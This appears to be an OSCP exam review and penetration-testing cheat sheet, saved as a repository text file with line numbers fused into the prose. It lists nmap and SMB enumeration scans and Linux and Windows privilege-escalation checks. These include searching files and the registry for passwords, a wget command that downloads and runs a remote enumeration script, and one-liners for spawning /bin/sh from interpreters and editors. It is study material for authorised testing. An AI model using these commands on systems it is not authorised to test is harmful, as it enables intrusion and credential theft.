Path: blob/master/7-part-100-article/OSCP Review-Cheat Sheet.txt
317 views
OSCP Review/Cheat Sheet1After 30 days of lab time, 24 boxes, and countless nights of no sleep, I can officially say I passed OSCP. And like every other person who’s passed the course, I’m going to do a little write up, except this time. Before I begin, I’ll make it very clear I had previous experience in pen testing and information security. Overall, what makes this course so valuable isn’t the exploits itself, but the technique behind them. Anyone can type “searchsploit ENTER_SOMETHING_HERE” and hope for the best. The hard part is enumerating everything, from dirb to crawling anonymous FTP servers. Cheat sheet time…23Enumeration:45Sparta6Hands down your best friend for the lab and exam. It run multiple NMAP scans, TCP and UDP along with the option of using unicorn. What makes this tool incredibly useful is that you can right click open ports and see what tools are available to use on it. Plus, who doesn’t love a clean GUI?7Nmap:89Set the ip address as a variable10export ip=192.168.1.100 nmap -A -T4 -p- $ip11Netcat port Scanning12nc -nvv -w 1 -z $ip 3388-339013Discover active IPs usign ARP on the network: arp-scan $ip/2414Discover who else is on the network15netdiscover16Discover IP Mac and Mac vendors from ARP17netdiscover -r $ip/2418Nmap stealth scan using SYN19nmap -sS $ip20Nmap stealth scan using FIN21nmap -sF $ip22Nmap Banner Grabbing23nmap -sV -sT $ip24Nmap OS Fingerprinting25nmap -O $ip26Nmap Regular Scan:27nmap $ip/2428Enumeration Scan29nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt30Enumeration Scan All Ports TCP / UDP and output to a txt file31nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip32Nmap output to a file:33nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/2434Quick Scan:35nmap -T4 -F $ip/2436Quick Scan Plus:37nmap -sV -T4 -O -F –version-light $ip/2438Quick traceroute39nmap -sn –traceroute $ip40All TCP and UDP Ports41nmap -v -sU -sS -p- -A -T4 $ip42Intense Scan:43nmap -T4 -A -v $ip44Intense Scan Plus UDP45nmap -sS -sU -T4 -A -v $ip/2446Intense Scan ALL TCP Ports47nmap -p 1-65535 -T4 -A -v $ip/2448Intense Scan – No Ping49nmap -T4 -A -v -Pn $ip/2450Ping scan51nmap -sn $ip/2452Slow Comprehensive Scan53nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 –script “default or (discovery and safe)” $ip/2454Scan with Active connect in order to weed out any spoofed ports designed to troll you55nmap -p1-65535 -A -T5 -sT $ip56SMB5758SMB OS Discovery59nmap $ip –script smb-os-discovery.nse60Nmap port scan61nmap -v -p 139,445 -oG smb.txt $ip-25462Netbios Information Scanning63nbtscan -r $ip/2464Nmap find exposed Netbios servers65nmap -sU –script nbstat.nse -p 137 $ip66Nmap all SMB scripts scan67SMB Enumeration Tools6869smbclient //MOUNT/share -I $ip -N70rpcclient -U “” $ip71enum4linux $ip72enum4linux -a $ip73SMB Finger Printing74smbclient -L //$ip75Nmap Scan for Open SMB Shares76nmap -T4 -v -oA shares –script smb-enum-shares –script-args smbuser=username,smbpass=password -p445 192.168.10.0/2477Nmap scans for vulnerable SMB Servers78nmap -v -p 445 –script=smb-check-vulns –script-args=unsafe=1 $ip79Nmap List all SMB scripts installed80ls -l /usr/share/nmap/scripts/smb*81Linux OS Enumeration8283List all SUID files84find / -perm -4000 2>/dev/null85Determine the current version of Linux86cat /etc/issue87Determine more information about the environment88uname -a89List processes running90ps -xaf91List the allowed (and forbidden) commands for the invoking use92sudo -l93List iptables rules94iptables –table nat –list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security95Windows OS Enumeration9697net config Workstation98systeminfo | findstr /B /C:”OS Name” /C:”OS Version”99hostname100net users101ipconfig /all102route print103arp -A104netstat -ano105netsh firewall show state106netsh firewall show config107schtasks /query /fo LIST /v108tasklist /SVC109net start110DRIVERQUERY111reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated112reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated113dir /s pass== cred == vnc == .config114findstr /si password *.xml *.ini *.txt115reg query HKLM /f password /t REG_SZ /s116reg query HKCU /f password /t REG_SZ /s117File Enumeration118Find UID 0 files root execution119/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null120Get handy linux file system enumeration script (/var/tmp)121wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-enum.sh122Find executable files updated in August123find / -executable -type f 2> /dev/null | egrep -v “^/bin|^/var|^/etc|^/usr” | xargs ls -lh | grep Aug124Find a specific file on linux125find /. -name suid\*126Find all the strings in a file127strings <filename>128Determine the type of a file129file <filename>130Spawning Shells:131132python -c ‘import pty; pty.spawn(“/bin/sh”)’133echo os.system(‘/bin/bash’)134/bin/sh -i135perl —e ‘exec “/bin/sh”;’136perl: exec “/bin/sh”;137ruby: exec “/bin/sh”138lua: os.execute(‘/bin/sh’)139From within IRB: exec “/bin/sh”140From within vi: :!bash or141:set shell=/bin/bash:shell142From within vim ‘:!bash’:143From within nmap: !sh144145